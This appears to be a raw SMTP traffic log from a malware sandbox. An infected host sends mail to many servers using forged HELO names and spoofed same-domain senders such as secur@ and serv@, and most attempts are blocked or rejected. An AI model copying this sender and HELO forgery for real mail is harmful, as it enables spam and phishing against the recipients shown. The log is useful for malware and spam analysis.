Jan 7, 2022 15:43:44.003825903 CET	49904	25	192.168.2.6	108.177.127.26	QUIT
Jan 7, 2022 15:43:44.030637980 CET	25	49904	108.177.127.26	192.168.2.6	221 2.0.0 closing connection z7si2936573edb.35 - gsmtp
Jan 7, 2022 15:43:44.043040991 CET	25	49897	104.47.56.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:44.043181896 CET	49897	25	192.168.2.6	104.47.56.110	RCPT TO: <andreas@contoso.com>
Jan 7, 2022 15:43:44.110991955 CET	25	49905	142.250.150.26	192.168.2.6	220 mx.google.com ESMTP z9si1730458lfh.419 - gsmtp
Jan 7, 2022 15:43:44.111176014 CET	49905	25	192.168.2.6	142.250.150.26	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:43:44.157265902 CET	25	49896	173.194.202.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser h187si5245362pfb.252 - gsmtp
Jan 7, 2022 15:43:44.157461882 CET	49896	25	192.168.2.6	173.194.202.27	QUIT
Jan 7, 2022 15:43:44.167442083 CET	25	49905	142.250.150.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:44.167938948 CET	49905	25	192.168.2.6	142.250.150.26	MAIL FROM: <jane.scott@email.myway.com>
Jan 7, 2022 15:43:44.175756931 CET	25	49897	104.47.56.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [DM3NAM02FT060.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:44.175965071 CET	49897	25	192.168.2.6	104.47.56.110	QUIT
Jan 7, 2022 15:43:44.221092939 CET	25	49905	142.250.150.26	192.168.2.6	250 2.1.0 OK z9si1730458lfh.419 - gsmtp
Jan 7, 2022 15:43:44.221749067 CET	49905	25	192.168.2.6	142.250.150.26	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:43:44.285098076 CET	25	49905	142.250.150.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser z9si1730458lfh.419 - gsmtp
Jan 7, 2022 15:43:44.285345078 CET	49905	25	192.168.2.6	142.250.150.26	QUIT
Jan 7, 2022 15:43:44.307264090 CET	25	49897	104.47.56.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:44.351768017 CET	25	49896	173.194.202.27	192.168.2.6	221 2.0.0 closing connection h187si5245362pfb.252 - gsmtp
Jan 7, 2022 15:43:44.764472961 CET	25	49907	44.198.115.56	192.168.2.6	220 mail555.messagelabs.com ESMTP Fri, 07 Jan 2022 14:43:44 +0000
Jan 7, 2022 15:43:44.764591932 CET	49907	25	192.168.2.6	44.198.115.56	HELO cluster10a.us.messagelabs.com
Jan 7, 2022 15:43:44.903116941 CET	25	49907	44.198.115.56	192.168.2.6	250 mail555.messagelabs.com Hello cluster10a.us.messagelabs.com [100.112.14.110]
Jan 7, 2022 15:43:44.903270960 CET	49907	25	192.168.2.6	44.198.115.56	MAIL FROM: <secur@abc.org>
Jan 7, 2022 15:43:45.041822910 CET	25	49907	44.198.115.56	192.168.2.6	250 OK
Jan 7, 2022 15:43:45.041945934 CET	49907	25	192.168.2.6	44.198.115.56	RCPT TO: <john.smith@abc.org>
Jan 7, 2022 15:43:45.139875889 CET	25	49906	74.125.200.26	192.168.2.6	220 mx.google.com ESMTP t3si4992405plq.613 - gsmtp
Jan 7, 2022 15:43:45.140023947 CET	49906	25	192.168.2.6	74.125.200.26	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:43:45.180581093 CET	25	49907	44.198.115.56	192.168.2.6	421 Service Temporarily Unavailable
Jan 7, 2022 15:43:45.180762053 CET	49907	25	192.168.2.6	44.198.115.56	QUIT
Jan 7, 2022 15:43:45.319485903 CET	25	49907	44.198.115.56	192.168.2.6	221 mail555.messagelabs.com closing connection
Jan 7, 2022 15:43:45.465075970 CET	25	49910	104.47.51.110	192.168.2.6	220 BN1NAM02FT030.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:44 +0000
Jan 7, 2022 15:43:45.465204000 CET	49910	25	192.168.2.6	104.47.51.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:45.529947042 CET	25	49909	67.219.247.199	192.168.2.6	450 Requested action aborted [7.2] 70704, please visit https://knowledge.broadcom.com/external/article?legacyId=TECH246726 for more details about this error message.
Jan 7, 2022 15:43:45.568610907 CET	25	49910	104.47.51.110	192.168.2.6	250 BN1NAM02FT030.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:45.568783045 CET	49910	25	192.168.2.6	104.47.51.110	MAIL FROM: <dave1977@care2.com>
Jan 7, 2022 15:43:45.644440889 CET	25	49906	74.125.200.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:45.644622087 CET	49906	25	192.168.2.6	74.125.200.26	MAIL FROM: <jane.scott@email.myway.com>
Jan 7, 2022 15:43:45.673007965 CET	25	49910	104.47.51.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:45.673201084 CET	49910	25	192.168.2.6	104.47.51.110	RCPT TO: <jukka@contoso.com>
Jan 7, 2022 15:43:45.777221918 CET	25	49910	104.47.51.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [BN1NAM02FT030.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:45.777364016 CET	49910	25	192.168.2.6	104.47.51.110	QUIT
Jan 7, 2022 15:43:45.880609035 CET	25	49910	104.47.51.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:46.150525093 CET	25	49906	74.125.200.26	192.168.2.6	250 2.1.0 OK t3si4992405plq.613 - gsmtp
Jan 7, 2022 15:43:46.150639057 CET	49906	25	192.168.2.6	74.125.200.26	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:43:46.313452005 CET	25	49912	54.244.49.115	192.168.2.6	220 ip-10-130-0-36 ESMTP Haraka/2.8.20 ready
Jan 7, 2022 15:43:46.313802958 CET	49912	25	192.168.2.6	54.244.49.115	HELO mail.h-email.net
Jan 7, 2022 15:43:46.503504992 CET	25	49912	54.244.49.115	192.168.2.6	250 ip-10-130-0-36 Hello [102.129.143.96], Haraka is at your service.
Jan 7, 2022 15:43:46.503632069 CET	49912	25	192.168.2.6	54.244.49.115	MAIL FROM: <secur@cineva.com>
Jan 7, 2022 15:43:46.664766073 CET	25	49906	74.125.200.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser t3si4992405plq.613 - gsmtp
Jan 7, 2022 15:43:46.664906979 CET	49906	25	192.168.2.6	74.125.200.26	QUIT
Jan 7, 2022 15:43:46.693434000 CET	25	49912	54.244.49.115	192.168.2.6	250 sender <secur@cineva.com> OK
Jan 7, 2022 15:43:46.693536043 CET	49912	25	192.168.2.6	54.244.49.115	RCPT TO: <xqy-oricine@cineva.com>
Jan 7, 2022 15:43:46.883363962 CET	25	49912	54.244.49.115	192.168.2.6	250 recipient <xqy-oricine@cineva.com> OK
Jan 7, 2022 15:43:46.883486986 CET	49912	25	192.168.2.6	54.244.49.115	DATA
Jan 7, 2022 15:43:46.970515013 CET	25	49918	193.239.68.121	192.168.2.6	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:43:46 +0200
Jan 7, 2022 15:43:46.970669031 CET	49918	25	192.168.2.6	193.239.68.121	HELO mx1.bigmir.net
Jan 7, 2022 15:43:47.016199112 CET	25	49918	193.239.68.121	192.168.2.6	250 bst01.sputnikmedia.net Hello mx1.bigmir.net [102.129.143.96]
Jan 7, 2022 15:43:47.016345978 CET	49918	25	192.168.2.6	193.239.68.121	MAIL FROM: <secur@bigmir.net>
Jan 7, 2022 15:43:47.061791897 CET	25	49918	193.239.68.121	192.168.2.6	250 OK
Jan 7, 2022 15:43:47.061974049 CET	49918	25	192.168.2.6	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:43:47.073137999 CET	25	49912	54.244.49.115	192.168.2.6	354 go ahead, make my day
Jan 7, 2022 15:43:47.109108925 CET	25	49918	193.239.68.121	192.168.2.6	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:43:47.109266043 CET	49918	25	192.168.2.6	193.239.68.121	QUIT
Jan 7, 2022 15:43:47.154572964 CET	25	49918	193.239.68.121	192.168.2.6	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:43:47.206921101 CET	25	49920	193.239.68.121	192.168.2.6	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:43:47 +0200
Jan 7, 2022 15:43:47.207101107 CET	49920	25	192.168.2.6	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:43:47.255086899 CET	25	49920	193.239.68.121	192.168.2.6	250 bst01.sputnikmedia.net Hello mx3.bigmir.net [102.129.143.96]
Jan 7, 2022 15:43:47.257020950 CET	49920	25	192.168.2.6	193.239.68.121	MAIL FROM: <secur@bigmir.net>
Jan 7, 2022 15:43:47.304719925 CET	25	49920	193.239.68.121	192.168.2.6	250 OK
Jan 7, 2022 15:43:47.304861069 CET	49920	25	192.168.2.6	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:43:47.354052067 CET	25	49920	193.239.68.121	192.168.2.6	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:43:47.354214907 CET	49920	25	192.168.2.6	193.239.68.121	QUIT
Jan 7, 2022 15:43:47.401774883 CET	25	49920	193.239.68.121	192.168.2.6	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:43:47.518266916 CET	25	49916	74.125.200.26	192.168.2.6	220 mx.google.com ESMTP l19si7818352pjg.46 - gsmtp
Jan 7, 2022 15:43:47.518426895 CET	49916	25	192.168.2.6	74.125.200.26	HELO aspmx3.googlemail.com
Jan 7, 2022 15:43:48.030759096 CET	25	49916	74.125.200.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:48.032707930 CET	49916	25	192.168.2.6	74.125.200.26	MAIL FROM: <jane.scott@email.myway.com>
Jan 7, 2022 15:43:48.536637068 CET	25	49916	74.125.200.26	192.168.2.6	250 2.1.0 OK l19si7818352pjg.46 - gsmtp
Jan 7, 2022 15:43:48.536782980 CET	49916	25	192.168.2.6	74.125.200.26	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:43:48.910398006 CET	25	49925	193.239.68.121	192.168.2.6	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:43:48 +0200
Jan 7, 2022 15:43:48.914630890 CET	49925	25	192.168.2.6	193.239.68.121	HELO mx1.bigmir.net
Jan 7, 2022 15:43:48.962553978 CET	25	49925	193.239.68.121	192.168.2.6	250 bst01.sputnikmedia.net Hello mx1.bigmir.net [102.129.143.96]
Jan 7, 2022 15:43:48.962924957 CET	49925	25	192.168.2.6	193.239.68.121	MAIL FROM: <karen.hill@hotmail.com>
Jan 7, 2022 15:43:49.010449886 CET	25	49925	193.239.68.121	192.168.2.6	250 OK
Jan 7, 2022 15:43:49.015717983 CET	49925	25	192.168.2.6	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:43:49.055633068 CET	25	49916	74.125.200.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser l19si7818352pjg.46 - gsmtp
Jan 7, 2022 15:43:49.056057930 CET	49916	25	192.168.2.6	74.125.200.26	QUIT
Jan 7, 2022 15:43:49.065694094 CET	25	49925	193.239.68.121	192.168.2.6	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:43:49.066839933 CET	49925	25	192.168.2.6	193.239.68.121	QUIT
Jan 7, 2022 15:43:49.114511967 CET	25	49925	193.239.68.121	192.168.2.6	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:43:49.155553102 CET	25	49927	193.239.68.121	192.168.2.6	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:43:49 +0200
Jan 7, 2022 15:43:49.155718088 CET	49927	25	192.168.2.6	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:43:49.163723946 CET	25	49926	142.250.150.27	192.168.2.6	220 mx.google.com ESMTP w24si4619560lfk.511 - gsmtp
Jan 7, 2022 15:43:49.168353081 CET	49926	25	192.168.2.6	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:43:49.197794914 CET	25	49927	193.239.68.121	192.168.2.6	250 bst01.sputnikmedia.net Hello mx3.bigmir.net [102.129.143.96]
Jan 7, 2022 15:43:49.198226929 CET	49927	25	192.168.2.6	193.239.68.121	MAIL FROM: <karen.hill@hotmail.com>
Jan 7, 2022 15:43:49.223665953 CET	25	49926	142.250.150.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:49.224140882 CET	49926	25	192.168.2.6	142.250.150.27	MAIL FROM: <jane.scott@email.myway.com>
Jan 7, 2022 15:43:49.240449905 CET	25	49927	193.239.68.121	192.168.2.6	250 OK
Jan 7, 2022 15:43:49.240608931 CET	49927	25	192.168.2.6	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:43:49.277111053 CET	25	49926	142.250.150.27	192.168.2.6	250 2.1.0 OK w24si4619560lfk.511 - gsmtp
Jan 7, 2022 15:43:49.277329922 CET	49926	25	192.168.2.6	142.250.150.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:43:49.285085917 CET	25	49927	193.239.68.121	192.168.2.6	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:43:49.285237074 CET	49927	25	192.168.2.6	193.239.68.121	QUIT
Jan 7, 2022 15:43:49.327161074 CET	25	49927	193.239.68.121	192.168.2.6	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:43:49.340241909 CET	25	49926	142.250.150.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser w24si4619560lfk.511 - gsmtp
Jan 7, 2022 15:43:49.342511892 CET	49926	25	192.168.2.6	142.250.150.27	QUIT
Jan 7, 2022 15:43:49.584938049 CET	49912	25	192.168.2.6	54.244.49.115	. QUIT
Jan 7, 2022 15:43:49.595180988 CET	25	49930	104.47.51.110	192.168.2.6	220 BN1NAM02FT042.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:48 +0000
Jan 7, 2022 15:43:49.598951101 CET	49930	25	192.168.2.6	104.47.51.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:49.701880932 CET	25	49930	104.47.51.110	192.168.2.6	250 BN1NAM02FT042.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:49.702697992 CET	49930	25	192.168.2.6	104.47.51.110	MAIL FROM: <sec@contoso.com>
Jan 7, 2022 15:43:49.806615114 CET	25	49930	104.47.51.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:49.806993961 CET	49930	25	192.168.2.6	104.47.51.110	RCPT TO: <quinque@contoso.com>
Jan 7, 2022 15:43:49.912261009 CET	25	49930	104.47.51.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [BN1NAM02FT042.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:49.915146112 CET	49930	25	192.168.2.6	104.47.51.110	QUIT
Jan 7, 2022 15:43:50.018125057 CET	25	49930	104.47.51.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:57.220654011 CET	25	49958	104.47.18.74	192.168.2.6	220 AM6EUR05FT066.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:56 +0000
Jan 7, 2022 15:43:57.220866919 CET	49958	25	192.168.2.6	104.47.18.74	HELO domini-cat.mail.protection.outlook.com
Jan 7, 2022 15:43:57.246804953 CET	25	49958	104.47.18.74	192.168.2.6	250 AM6EUR05FT066.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:57.247214079 CET	49958	25	192.168.2.6	104.47.18.74	MAIL FROM: <sec@domini.cat>
Jan 7, 2022 15:43:57.276988029 CET	25	49958	104.47.18.74	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:57.277198076 CET	49958	25	192.168.2.6	104.47.18.74	RCPT TO: <secretaria@domini.cat>
Jan 7, 2022 15:43:57.303651094 CET	25	49958	104.47.18.74	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [AM6EUR05FT066.eop-eur05.prod.protection.outlook.com]
Jan 7, 2022 15:43:57.303915977 CET	49958	25	192.168.2.6	104.47.18.74	QUIT
Jan 7, 2022 15:43:57.329504967 CET	25	49958	104.47.18.74	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:57.771464109 CET	25	49961	142.250.145.26	192.168.2.6	220 mx.google.com ESMTP y21si2553304edo.280 - gsmtp
Jan 7, 2022 15:43:57.771656036 CET	49961	25	192.168.2.6	142.250.145.26	HELO aspmx.l.google.com
Jan 7, 2022 15:43:57.802848101 CET	25	49961	142.250.145.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:57.802973032 CET	49961	25	192.168.2.6	142.250.145.26	MAIL FROM: <serv@kinoho.net>
Jan 7, 2022 15:43:57.831986904 CET	25	49961	142.250.145.26	192.168.2.6	250 2.1.0 OK y21si2553304edo.280 - gsmtp
Jan 7, 2022 15:43:57.832149982 CET	49961	25	192.168.2.6	142.250.145.26	RCPT TO: <greg@kinoho.net>
Jan 7, 2022 15:43:58.011187077 CET	25	49961	142.250.145.26	192.168.2.6	250 2.1.5 OK y21si2553304edo.280 - gsmtp
Jan 7, 2022 15:43:58.011308908 CET	49961	25	192.168.2.6	142.250.145.26	DATA
Jan 7, 2022 15:43:58.025408983 CET	25	49964	194.97.150.230	192.168.2.6	220-mta.openssl.org ESMTP Postfix
Jan 7, 2022 15:43:58.025559902 CET	49964	25	192.168.2.6	194.97.150.230	HELO mta.openssl.org
Jan 7, 2022 15:43:58.038882971 CET	25	49961	142.250.145.26	192.168.2.6	354 Go ahead y21si2553304edo.280 - gsmtp
Jan 7, 2022 15:43:58.043840885 CET	25	49964	194.97.150.230	192.168.2.6	220 mta.openssl.org ESMTP Postfix
Jan 7, 2022 15:43:58.043975115 CET	49964	25	192.168.2.6	194.97.150.230	QUIT
Jan 7, 2022 15:43:58.059525013 CET	25	49964	194.97.150.230	192.168.2.6	250 mta.openssl.org
Jan 7, 2022 15:43:58.060187101 CET	25	49964	194.97.150.230	192.168.2.6	221 2.0.0 Bye
Jan 7, 2022 15:43:58.742377996 CET	49961	25	192.168.2.6	142.250.145.26	. QUIT
Jan 7, 2022 15:44:00.156080008 CET	25	49969	142.250.150.26	192.168.2.6	220 mx.google.com ESMTP f14si5504903lfj.319 - gsmtp
Jan 7, 2022 15:44:00.156209946 CET	49969	25	192.168.2.6	142.250.150.26	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:44:00.210869074 CET	25	49969	142.250.150.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:00.211007118 CET	49969	25	192.168.2.6	142.250.150.26	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:00.263434887 CET	25	49969	142.250.150.26	192.168.2.6	250 2.1.0 OK f14si5504903lfj.319 - gsmtp
Jan 7, 2022 15:44:00.263585091 CET	49969	25	192.168.2.6	142.250.150.26	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:00.325445890 CET	25	49969	142.250.150.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser f14si5504903lfj.319 - gsmtp
Jan 7, 2022 15:44:00.325571060 CET	49969	25	192.168.2.6	142.250.150.26	QUIT
Jan 7, 2022 15:44:01.179050922 CET	25	49970	74.125.200.26	192.168.2.6	220 mx.google.com ESMTP ha2si8607167pjb.163 - gsmtp
Jan 7, 2022 15:44:01.179183006 CET	49970	25	192.168.2.6	74.125.200.26	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:44:01.510427952 CET	25	49972	142.250.150.26	192.168.2.6	220 mx.google.com ESMTP e5si7878422ljf.606 - gsmtp
Jan 7, 2022 15:44:01.512202024 CET	49972	25	192.168.2.6	142.250.150.26	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:44:01.567364931 CET	25	49972	142.250.150.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:01.567567110 CET	49972	25	192.168.2.6	142.250.150.26	MAIL FROM: <sec@cryptsoft.com>
Jan 7, 2022 15:44:01.620476961 CET	25	49972	142.250.150.26	192.168.2.6	250 2.1.0 OK e5si7878422ljf.606 - gsmtp
Jan 7, 2022 15:44:01.620659113 CET	49972	25	192.168.2.6	142.250.150.26	RCPT TO: <tjh@cryptsoft.com>
Jan 7, 2022 15:44:01.688525915 CET	25	49970	74.125.200.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:01.688739061 CET	49970	25	192.168.2.6	74.125.200.26	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:01.748501062 CET	25	49972	142.250.150.26	192.168.2.6	250 2.1.5 OK e5si7878422ljf.606 - gsmtp
Jan 7, 2022 15:44:01.748663902 CET	49972	25	192.168.2.6	142.250.150.26	DATA
Jan 7, 2022 15:44:01.801134109 CET	25	49972	142.250.150.26	192.168.2.6	354 Go ahead e5si7878422ljf.606 - gsmtp
Jan 7, 2022 15:44:02.197455883 CET	25	49970	74.125.200.26	192.168.2.6	250 2.1.0 OK ha2si8607167pjb.163 - gsmtp
Jan 7, 2022 15:44:02.198440075 CET	49970	25	192.168.2.6	74.125.200.26	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:02.715787888 CET	25	49970	74.125.200.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser ha2si8607167pjb.163 - gsmtp
Jan 7, 2022 15:44:02.716061115 CET	49970	25	192.168.2.6	74.125.200.26	QUIT
Jan 7, 2022 15:44:02.771622896 CET	25	49976	108.177.96.27	192.168.2.6	220 mx.google.com ESMTP k12si2436419eja.221 - gsmtp
Jan 7, 2022 15:44:02.771996975 CET	49976	25	192.168.2.6	108.177.96.27	HELO aspmx.l.google.com
Jan 7, 2022 15:44:02.801084042 CET	25	49976	108.177.96.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:02.803641081 CET	49976	25	192.168.2.6	108.177.96.27	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:02.832140923 CET	25	49976	108.177.96.27	192.168.2.6	250 2.1.0 OK k12si2436419eja.221 - gsmtp
Jan 7, 2022 15:44:02.832329035 CET	49976	25	192.168.2.6	108.177.96.27	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:02.858285904 CET	49972	25	192.168.2.6	142.250.150.26	. QUIT
Jan 7, 2022 15:44:02.870414972 CET	25	49976	108.177.96.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser k12si2436419eja.221 - gsmtp
Jan 7, 2022 15:44:02.870613098 CET	49976	25	192.168.2.6	108.177.96.27	QUIT
Jan 7, 2022 15:44:02.898004055 CET	25	49976	108.177.96.27	192.168.2.6	221 2.0.0 closing connection k12si2436419eja.221 - gsmtp
Jan 7, 2022 15:44:02.924076080 CET	25	49975	138.201.223.6	192.168.2.6	220-argon.studio4web.com ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 15:44:02 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 7, 2022 15:44:02.924480915 CET	49975	25	192.168.2.6	138.201.223.6	HELO mail.dva.hr
Jan 7, 2022 15:44:02.946868896 CET	25	49975	138.201.223.6	192.168.2.6	250 argon.studio4web.com Hello mail.dva.hr [102.129.143.96]
Jan 7, 2022 15:44:02.947021008 CET	49975	25	192.168.2.6	138.201.223.6	MAIL FROM: <secur@dva.hr>
Jan 7, 2022 15:44:02.969649076 CET	25	49975	138.201.223.6	192.168.2.6	250 OK
Jan 7, 2022 15:44:02.969774008 CET	49975	25	192.168.2.6	138.201.223.6	RCPT TO: <jedan@dva.hr>
Jan 7, 2022 15:44:02.978044987 CET	25	49977	142.250.150.27	192.168.2.6	220 mx.google.com ESMTP b7si6796640lfv.52 - gsmtp
Jan 7, 2022 15:44:02.978599072 CET	49977	25	192.168.2.6	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:44:02.997296095 CET	25	49975	138.201.223.6	192.168.2.6	550-Verification failed for <secur@dva.hr> 550-No Such User Here 550 Sender verify failed
Jan 7, 2022 15:44:02.997442961 CET	49975	25	192.168.2.6	138.201.223.6	QUIT
Jan 7, 2022 15:44:03.020282984 CET	25	49975	138.201.223.6	192.168.2.6	221 argon.studio4web.com closing connection
Jan 7, 2022 15:44:03.034272909 CET	25	49977	142.250.150.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:03.034528971 CET	49977	25	192.168.2.6	142.250.150.27	MAIL FROM: <serv@cryptsoft.com>
Jan 7, 2022 15:44:03.089077950 CET	25	49977	142.250.150.27	192.168.2.6	250 2.1.0 OK b7si6796640lfv.52 - gsmtp
Jan 7, 2022 15:44:03.090517998 CET	49977	25	192.168.2.6	142.250.150.27	RCPT TO: <eay@cryptsoft.com>
Jan 7, 2022 15:44:03.151303053 CET	25	49978	130.193.9.47	192.168.2.6	550 Reverse lookup of your IP failed
Jan 7, 2022 15:44:03.152793884 CET	25	49977	142.250.150.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser b7si6796640lfv.52 - gsmtp
Jan 7, 2022 15:44:03.153882027 CET	49977	25	192.168.2.6	142.250.150.27	QUIT
Jan 7, 2022 15:44:03.220560074 CET	25	49970	74.125.200.26	192.168.2.6	221 2.0.0 closing connection ha2si8607167pjb.163 - gsmtp
Jan 7, 2022 15:44:03.432405949 CET	25	49981	142.250.145.26	192.168.2.6	220 mx.google.com ESMTP ne26si2836490ejc.982 - gsmtp
Jan 7, 2022 15:44:03.432586908 CET	49981	25	192.168.2.6	142.250.145.26	HELO aspmx.l.google.com
Jan 7, 2022 15:44:03.461893082 CET	25	49981	142.250.145.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:03.464871883 CET	49981	25	192.168.2.6	142.250.145.26	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:44:03.491844893 CET	25	49981	142.250.145.26	192.168.2.6	250 2.1.0 OK ne26si2836490ejc.982 - gsmtp
Jan 7, 2022 15:44:03.491997957 CET	49981	25	192.168.2.6	142.250.145.26	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:44:03.538575888 CET	25	49981	142.250.145.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser ne26si2836490ejc.982 - gsmtp
Jan 7, 2022 15:44:03.538722038 CET	49981	25	192.168.2.6	142.250.145.26	QUIT
Jan 7, 2022 15:44:03.565804958 CET	25	49981	142.250.145.26	192.168.2.6	221 2.0.0 closing connection ne26si2836490ejc.982 - gsmtp
Jan 7, 2022 15:44:03.644566059 CET	25	49983	142.250.150.26	192.168.2.6	220 mx.google.com ESMTP o26si4796572lfn.276 - gsmtp
Jan 7, 2022 15:44:03.644779921 CET	49983	25	192.168.2.6	142.250.150.26	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:44:03.700119019 CET	25	49983	142.250.150.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:44:03.700268984 CET	49983	25	192.168.2.6	142.250.150.26	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:44:03.752732038 CET	25	49983	142.250.150.26	192.168.2.6	250 2.1.0 OK o26si4796572lfn.276 - gsmtp
